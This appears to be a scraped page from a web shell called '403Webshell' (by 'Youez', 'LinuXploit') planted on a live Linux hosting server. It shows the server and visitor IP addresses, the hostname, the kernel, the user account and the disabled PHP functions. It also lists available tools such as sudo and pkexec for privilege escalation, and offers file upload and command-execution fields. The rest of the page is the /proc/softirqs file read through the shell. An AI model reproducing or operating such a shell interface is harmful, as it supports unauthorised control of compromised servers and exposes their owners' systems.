403Webshell
Server IP : 23.111.136.34  /  Your IP : 216.73.216.136
Web Server : Apache
System : Linux servidor.eurohost.com.br 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : meusitei ( 1072)
PHP Version : 5.6.40
Disable Function : show_source, system, shell_exec, passthru, proc_open
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/self/root/proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/proc/softirqs
                    CPU0       CPU1       CPU2       CPU3       CPU4       CPU5       CPU6       CPU7       CPU8       CPU9       CPU10      CPU11      CPU12      CPU13      CPU14      CPU15      CPU16      CPU17      CPU18      CPU19      CPU20      CPU21      CPU22      CPU23      
          HI:          5          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0
       TIMER: 1309095567 1113090364 1185416349 1189531719 1493576987 1522278161 1249252972  991909423  972627888 1061317464 1060632806 1010658371 1203609507 1325736156  756091161  662554853  610879282  599161355  439640427  749878265  782795359  677358068  562004344  536989070
      NET_TX:     570070      17768      17994      13509    1183276    1182267      12917      13665      14231      15438      15534      15094    1058215    1112954       1710       1648       3066       3253       1128       1363       1512       1544       1540       1548
      NET_RX:   25582629   25612815   26373841   23518968  366860295  369146907   20723838   21098559   23362142   24782752   24664636   24035062  363256936  362967135    7485874    7482875    8237825    7602600    3545321   12435354   10963325    7414063    5444113    4668811
       BLOCK:  205590083     168596      82653      43994      23943       6895   13953444   16043418   16737545   19512024   19702765   18792050      24381       3039       2500       1859       1608       1027    3483661    2803569    2887682    2936062    3178271    3484063
BLOCK_IOPOLL:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0
     TASKLET:        203          0          1          0   48856991   48949407         21          2          2          2          1          2   48428359   48331105          0          0          0          0          0          0          0          0          0          5
       SCHED: 1440451320  699337170  404911587  328274554  365673287  360835194  258121334  236537733  233722990  258616315  260459444  249512867  257858816  249556626  111659297  105865163  105625879  107088535   84988871  113621078  122434156  106265789   92440138   97627951
     HRTIMER:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0
         RCU:  550765274  470873386  499121645  499326360  613839138  627577988  553142830  433077943  418694789  440622682  438722883  424869236  474032936  514575862  295782064  269101635  252753043  243407176  170509242  282300892  286643510  261928267  227515594  210708609

Youez - 2016 - github.com/yon3zu
LinuXploit